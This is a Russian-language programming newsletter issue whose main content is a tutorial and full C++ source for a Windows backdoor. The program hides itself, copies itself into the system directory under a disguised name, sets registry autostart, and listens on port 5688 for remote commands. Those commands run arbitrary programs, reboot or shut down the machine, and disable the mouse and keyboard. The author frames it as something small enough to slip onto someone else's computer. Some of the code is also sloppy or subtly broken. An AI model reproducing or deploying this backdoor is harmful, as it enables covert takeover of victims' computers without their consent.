Отправляет email-рассылки с помощью сервиса Sendsay

Статьи по Visual C++

  Все выпуски  

Статьи по Visual C++.NET Back Door на Visual C++


Информационный Канал Subscribe.Ru

Главная P-Lib Выпуск 15

Back Door на Visual C++

  Visual C++.NET |   Visual Basic.NET |   Delphi |   ASP.NET |   Java |   Perl |   Базы данных 

Новые статьи


   -  Работа с сервисами
   -  Как программно нажать кнопку "Start" ?
   -  Как создавать значки в панели управления
   -  Работаем с Панелью управления
   -  Классы для работы с регулятором громкости
   -  Завершение работы Windows
   -  Режимы отображения координат
   -  Простой COM ? клиент
   -  Использование семафора при помощи API-функций
   -  Создание иконки в SystemTray
   -  Как поменять обои на рабочам столе?
   -  CGI-прграммы
   -  Использование класса CEvent
   -  Таймеры в приложениях MFC
   -  Динамические библиотеки
   -  Простой FTP-клиент
   -  Простой HTTP-клиент
   -  Использование API в Visual C++.NET
   -  Программирование в глобальной сети

Новости сайта


Наш сайт готовится к переходу на платный ASP-хостинг. На сайте появится много нового и интересного, к примеру форум, RRS, много новых статей и исходников!!!




Привет хацкер! Сегодня я покажу как самомму написать бэкдор на Visual C++. Почему именно Visual C++ а не Delphi? Размер.... 25 кил всучить кому-нить легче чем 125! И так приступимс. Грузи VC++(желательно 6.0) File> New>Win32 Application и не забудь наисать имя твоего прэкта. Далее дави на батон оК и перед тобой появиться окошко там выбирай Simple Win32 Application и дави finiSH и после оК! Жми Project>Active Configuration и выбирай там имя_твоего_проэкта-Win32 Release и дави оК! Далее нужно подключить библиотеку winsock.h. Для этого нужно сделать следующее: видишь слева панель? Там выбрай закладку File View передтобой появиться дерево файлов твоего проэкта, развертывай его, нас интересует Header Files его тоже развертывай и выбирай там stdafx.h, кликай по нему 2 раза, слева должен открыться исходный код stdafx.h. Нужно его троху подправить: под строчкой #include <windows.h> вводи следующее: #include <winsock.h>. Теперь на клаве дави Alt+F7 там переходи на закладку Link видишь строчку Object/Library Modules? Под ней В САМОМ КОЦЕ ВВОДИ: winsock32.lib дави оК(если не видно закладки Link, то сделай следующее: cлева выбери название твоего проэкта и сверху Win32 Release).Теперь можешь смело давить на F7!

Теперь приступим к написанию самого бэкдора: там где ты вибирал Header Files, выбирай Source Files и имя_твоего_проэкта.cpp. Слева вводи следующее:

#include "stdafx.h"

#define WM_SOCKET WM_USER+1

WSADATA WSAData;
SOCKET sock = INVALID_SOCKET;
SOCKET client;
SOCKADDR_IN sin;

char szClassName[256]="что угодно";//3десь имя программы
char szAppName[256]="что угодно";//3десь заголовок твоей программы

int Port = 5688;//порт
int sendtext(char* txt)//моя проца отправки строки клиенту
{
    return send(client,txt,lstrlen(txt),0);
};

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
    HWND hwnd;
    MSG msg;
    WNDCLASS wc;
    wc.style="0;"
    wc.lpfnWndProc = WndProc;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.lpszClassName = szClassName;
    wc.lpszMenuName = NULL;
    wc.hInstance = hInstance;
    wc.hCursor = LoadCursor(NULL,IDC_ARROW);
    wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
    wc.hbrBackground = (HBRUSH) COLOR_WINDOW;

    RegisterClass(&wc);

    hwnd = CreateWindow(szClassName,
        szAppName,
                        WS_OVERLAPPEDWINDOW,
                        2,
                        10,
                        70,
                        100,
                        NULL,
                        NULL,
                        hInstance,
                        NULL);

    ShowWindow(hwnd,SW_HIDE);//показываем скрытое окно
    UpdateWindow(hwnd);
//прячем от Ctrl+Alt+Del
typedef DWORD (WINAPI *REGSERVPROC)(DWORD, DWORD);
HINSTANCE hLibrary;
REGSERVPROC regproc;
hLibrary = LoadLibrary("kernel32.dll");
regproc = (REGSERVPROC) GetProcAddress(hLibrary, "RegisterServiceProcess");
if((int)GetVersion() < 0)
regproc (NULL,1);
//копируем в winsysdir под именем lternat.exe(эль маленькое в начале)
    LPSTR lpMe = new TCHAR[256];
    LPSTR WinDir1 = new TCHAR[256];
    char szValue [256] = "lternat.exe";
    GetSystemDirectory(WinDir1,256);
    GetModuleFileName(NULL,lpMe,200);
    strcat(WinDir1,"\\");
    strcat(WinDir1,szValue);
    CopyFile(lpMe,WinDir1,FALSE);

    //автостарт
    HKEY pKey;
    RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
    RegSetValueEx(pKey,"lternat",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);

//инициализация сокета
    WSAStartup(0x0101,&WSAData);
sock = socket(AF_INET,SOCK_STREAM,0);
    WSAAsyncSelect(sock,hwnd,WM_SOCKET,FD_ACCEPT | FD_READ);
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = htonl(INADDR_ANY);
    sin.sin_port = htons(Port);
    bind(sock,(LPSOCKADDR)&sin,sizeof(struct sockaddr));
    listen(sock,15);
//обрабатываем сообщения
while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    };

    return msg.wParam;
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
    char BufStr1[6666]="";
    char BufStr0[6666]="";
    char Command[1500]="";
    char Command1[1500]="";
    char Command2[1500]="";
    char Command3[1500]="";
switch(iMsg)
    {
    case WM_CREATE:
            return 1;
        break;
    case WM_DESTROY:
           //если выход, то закрываем сокет
            closesocket(sock);
            WSACleanup();
            PostQuitMessage(1);
            return 1;
    break;
//обработка сокетных сообщений
case WM_SOCKET:
            switch(lParam)
            {
//соединение
            case FD_ACCEPT:
                    client = accept(sock,NULL,NULL);
                    return 1;
                    break;
case FD_READ:
                    //обрабатываем команды клиента
                    recv(client,BufStr1,sizeof(BufStr1),0);
                    if(wParam == SOCKET_ERROR)
                    {
recv(client,BufStr1,sizeof(BufStr1),0);
                    }
                    else
                    {
                   //извлекаем из поступившей строки следующее:
                        /*
Command - комманда Command1 -параметр 1 Command2 - параметр 2 Command3 - параметр 4
*/
                    int i=0;
                        for(i=0;i<=lstrlen(BufStr1);i++)
                        {
if(BufStr1[i]==' ')break;
                            Command[i]=BufStr1[i];
                        };
                        int p=0;
                        for(i++;i<=lstrlen(BufStr1);i++)
                        {
if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break;
                            Command1[p]=BufStr1[i];
                            p++;
                        };
                        p=0;
                        for(i+=3;i<=lstrlen(BufStr1);i++)
                        {
if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break;
                            Command2[p]=BufStr1[i];
                            p++;
                        };
                        p=0;
                        for(i+=3;i<=lstrlen(BufStr1);i++)
                        {
if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break;
                            Command3[p]=BufStr1[i];
                            p++;
                        };
                               //высветить сообщение
                        if(strcmp(Command,"?mes")==0)
                        {
                            int type=MB_OK;
if(strcmp(Command1,"i")==0)type=MB_OK|MB_ICONINFORMATION;
                            if(strcmp(Command1,"w")==0)type=MB_OK|MB_ICONWARNING;
                            if(strcmp(Command1,"e")==0)type=MB_OK|MB_ICONERROR;
                            if(strcmp(Command1,"q")==0)type=MB_OK|MB_ICONQUESTION;
                            MessageBox(NULL,Command3,Command2,type);
                            sendtext("txt!Показал сообщение");
                            for(int i=0;i<=6666;i++)
                                BufStr1[i]=NULL;
                            return 1;
                        };
                       //запустить коммандную строку
                        if(strcmp(Command,"?run")==0)
                        {
                            if(WinExec(Command1,SW_NORMAL)>32){sendtext("txt!Запустил программу");}
                            else {sendtext("txt!Не удалось запустить программу");};
                            for(int i=0;i<=6666;i++)
                                BufStr1[i]=NULL;
                            return 1;
                        };
                       //перезагрузить комп
                        if(strcmp(Command,"?reboot")==0)
                        {
                            ExitWindowsEx(EWX_REBOOT,0);
                            sendtext("txt!Кoмп перезагружается");
                            for(int i=0;i<=6666;i++)
                                BufStr1[i]=NULL;
                            return 1;
                        };
                       //вырубить комп
                        if(strcmp(Command,"?sdown")==0)
                        {
                            ExitWindowsEx(EWX_SHUTDOWN,0);
                            sendtext("txt!Комп вырубается");
                            for(int i=0;i<=6666;i++)
                                BufStr1[i]=NULL;
                            return 1;
                        };
                        //отключить крысу
                        if(strcmp(Command,"?dismous")==0)
                        {
                            WinExec("rundll32 mouse,disable",1);
                            sendtext("txt!Крыса заблокирована");
                            for(int i=0;i<=6666;i++)
                                BufStr1[i]=NULL;
                            return 1;
                        };
                        //отключить клаву
                        if(strcmp(Command,"?diskey")==0)
                        {
                            WinExec("rundll32 keyboard,disable",1);
                            sendtext("txt!Клава отключена");
for(int i=0;i<=6666;i++)
                                BufStr1[i]=NULL;
                            return 1;
                        };

                    };
                    return 1;
                    break;
            };
            return 1;
            break;

    };

    return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
}

Вот и все, сервер получает команду типа ?com param1!?!param2!?!param3. Теперь осталось написать клиент, но его мы сегодня писать не будем.


Subscribe.Ru
Поддержка подписчиков
Другие рассылки этой тематики
Другие рассылки этого автора
Подписан адрес:
Код этой рассылки: comp.soft.prog.visualc
Отписаться
Вспомнить пароль

В избранное